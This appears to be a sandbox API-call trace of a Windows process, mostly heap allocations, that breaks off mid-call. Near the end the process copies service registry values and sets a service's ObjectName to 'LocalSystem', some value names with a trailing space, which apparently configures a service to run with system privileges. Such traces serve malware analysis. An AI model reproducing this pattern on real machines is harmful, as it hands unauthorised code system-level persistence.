RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0180.608] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0180.608] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x50) returned 0x252dd90 [0180.608] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0180.608] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d528 [0180.608] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0180.608] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0180.608] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x50) returned 0x219ddd8 [0180.608] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d308 [0180.608] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0180.608] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d338 [0180.608] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3fe0 [0180.608] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3e8 [0180.608] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4028 [0180.608] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d548 [0180.608] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4070 [0180.608] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d538 [0180.608] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f40b8 [0180.608] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d348 [0180.609] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4100 [0180.609] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4a8 [0180.609] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4148 [0180.609] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d558 [0180.609] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0180.609] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d438 [0180.609] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f41d8 [0180.609] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4f8 [0180.609] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4220 [0180.609] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d448 [0180.609] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4268 [0180.609] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d388 [0180.609] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0180.609] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d378 [0180.609] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42f8 [0180.609] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d258 [0180.609] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4340 [0180.609] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d568 [0180.609] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4388 [0180.609] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d578 [0180.609] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0180.609] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d588 [0180.609] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4418 [0180.609] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0180.609] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d328) returned 1 [0180.609] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0180.609] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3d8) returned 1 [0180.609] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0180.609] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4e8) returned 1 [0180.609] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0180.609] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d398) returned 1 [0180.609] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0180.609] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d428) returned 1 [0180.609] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0180.610] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3c8) returned 1 [0180.610] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0180.610] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4d8) returned 1 [0180.610] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0180.610] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d318) returned 1 [0180.610] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0180.610] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d368) returned 1 [0180.610] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0180.610] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d508) returned 1 [0180.610] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0180.610] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4b8) returned 1 [0180.610] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0180.610] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d458) returned 1 [0180.610] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3ec0) returned 1 [0180.610] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d478) returned 1 [0180.610] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3f08) returned 1 [0180.610] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4c8) returned 1 [0180.610] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3f50) returned 1 [0180.610] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d498) returned 1 [0180.610] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3f98) returned 1 [0180.610] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d418) returned 1 [0180.610] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0180.610] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d528) returned 1 [0180.610] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252dd90) returned 1 [0180.610] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0180.610] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x50) returned 0x219de30 [0180.610] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d528 [0180.610] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0180.610] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d418 [0180.610] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0180.610] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d498 [0180.610] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0180.610] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4c8 [0180.610] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0180.610] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d478 [0180.611] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0180.611] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d458 [0180.611] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0180.611] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4b8 [0180.611] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0180.611] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d508 [0180.611] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0180.611] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d368 [0180.611] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0180.611] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d318 [0180.611] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0180.611] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4d8 [0180.611] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0180.611] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3c8 [0180.611] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0180.611] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d428 [0180.611] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0180.611] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d398 [0180.611] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f98 [0180.611] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4e8 [0180.611] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f50 [0180.611] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3d8 [0180.611] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f08 [0180.611] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d328 [0180.611] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3ec0 [0180.611] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0180.611] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d308) returned 1 [0180.611] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3fe0) returned 1 [0180.611] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d338) returned 1 [0180.611] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4028) returned 1 [0180.611] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3e8) returned 1 [0180.611] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4070) returned 1 [0180.611] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d548) returned 1 [0180.612] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f40b8) returned 1 [0180.612] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d538) returned 1 [0180.612] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4100) returned 1 [0180.612] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d348) returned 1 [0180.612] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4148) returned 1 [0180.612] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4a8) returned 1 [0180.612] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4190) returned 1 [0180.612] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d558) returned 1 [0180.612] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f41d8) returned 1 [0180.612] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d438) returned 1 [0180.612] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4220) returned 1 [0180.612] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4f8) returned 1 [0180.612] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4268) returned 1 [0180.612] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d448) returned 1 [0180.612] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f42b0) returned 1 [0180.612] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d388) returned 1 [0180.612] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f42f8) returned 1 [0180.612] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d378) returned 1 [0180.612] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4340) returned 1 [0180.612] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d258) returned 1 [0180.612] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4388) returned 1 [0180.612] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d568) returned 1 [0180.612] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f43d0) returned 1 [0180.612] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d578) returned 1 [0180.612] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4418) returned 1 [0180.612] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d588) returned 1 [0180.612] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x219ddd8) returned 1 [0180.612] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4418 [0180.612] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0180.612] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4418) returned 1 [0180.613] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0xc0) returned 0x219d3c8 [0180.613] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0180.613] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x100) returned 0x21e4e38 [0180.613] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x219d3c8) returned 1 [0180.613] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x140) returned 0x2152850 [0180.613] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e4e38) returned 1 [0180.613] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x180) returned 0x2152998 [0180.613] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0180.613] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x1c0) returned 0x21f4ea8 [0180.613] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152998) returned 1 [0180.613] RegSetValueExA (in: hKey=0x140, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x21f4ea8*, cbData=0x195 | out: lpData=0x21f4ea8*) returned 0x0 [0180.613] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4ea8) returned 1 [0180.614] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4418 [0180.614] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0180.614] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4418) returned 1 [0180.614] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0xc0) returned 0x219d3c8 [0180.614] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0180.614] RegSetValueExA (in: hKey=0x140, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x7, lpData=0x219d3c8*, cbData=0x8f | out: lpData=0x219d3c8*) returned 0x0 [0180.614] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x219d3c8) returned 1 [0180.614] RegEnumValueA (in: hKey=0x148, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0180.614] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d660 [0180.614] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d588 [0180.614] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4418 [0180.614] RegEnumValueA (in: hKey=0x148, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0180.614] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d578 [0180.614] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0180.614] RegEnumValueA (in: hKey=0x148, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0180.614] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d568 [0180.614] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4388 [0180.614] RegEnumValueA (in: hKey=0x148, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0180.614] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d258 [0180.614] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4340 [0180.614] RegEnumValueA (in: hKey=0x148, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0180.614] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x21573f8 [0180.615] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0180.615] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d378 [0180.615] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42f8 [0180.615] RegEnumValueA (in: hKey=0x148, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0180.615] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d388 [0180.615] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0180.615] RegEnumValueA (in: hKey=0x148, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0180.615] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d448 [0180.615] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4268 [0180.615] RegEnumValueA (in: hKey=0x148, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0180.615] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4f8 [0180.615] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4220 [0180.615] RegEnumValueA (in: hKey=0x148, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0180.615] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x252bc08 [0180.615] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21573f8) returned 1 [0180.615] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d438 [0180.615] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f41d8 [0180.615] RegEnumValueA (in: hKey=0x148, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0180.615] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d558 [0180.615] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0180.615] RegEnumValueA (in: hKey=0x148, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0180.615] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4a8 [0180.615] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4148 [0180.615] RegEnumValueA (in: hKey=0x148, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0180.615] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4100 [0180.615] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4100) returned 1 [0180.615] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4100 [0180.616] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4100) returned 1 [0180.616] RegSetValueExA (in: hKey=0x140, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0180.616] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4148) returned 1 [0180.616] RegSetValueExA (in: hKey=0x140, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0180.616] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4148) returned 1 [0180.616] RegEnumValueA (in: hKey=0x148, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0180.616] RegEnumValueA (in: hKey=0x148, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0180.616] RegEnumValueA (in: hKey=0x148, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0180.616] RegEnumValueA (in: hKey=0x148, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0180.616] RegEnumValueA (in: hKey=0x148, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0180.616] RegEnumValueA (in: hKey=0x148, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0180.616] RegEnumValueA (in: hKey=0x148, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0180.616] RegEnumValueA (in: hKey=0x148, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0180.616] RegEnumValueA (in: hKey=0x148, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0180.616] RegEnumValueA (in: hKey=0x148, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, 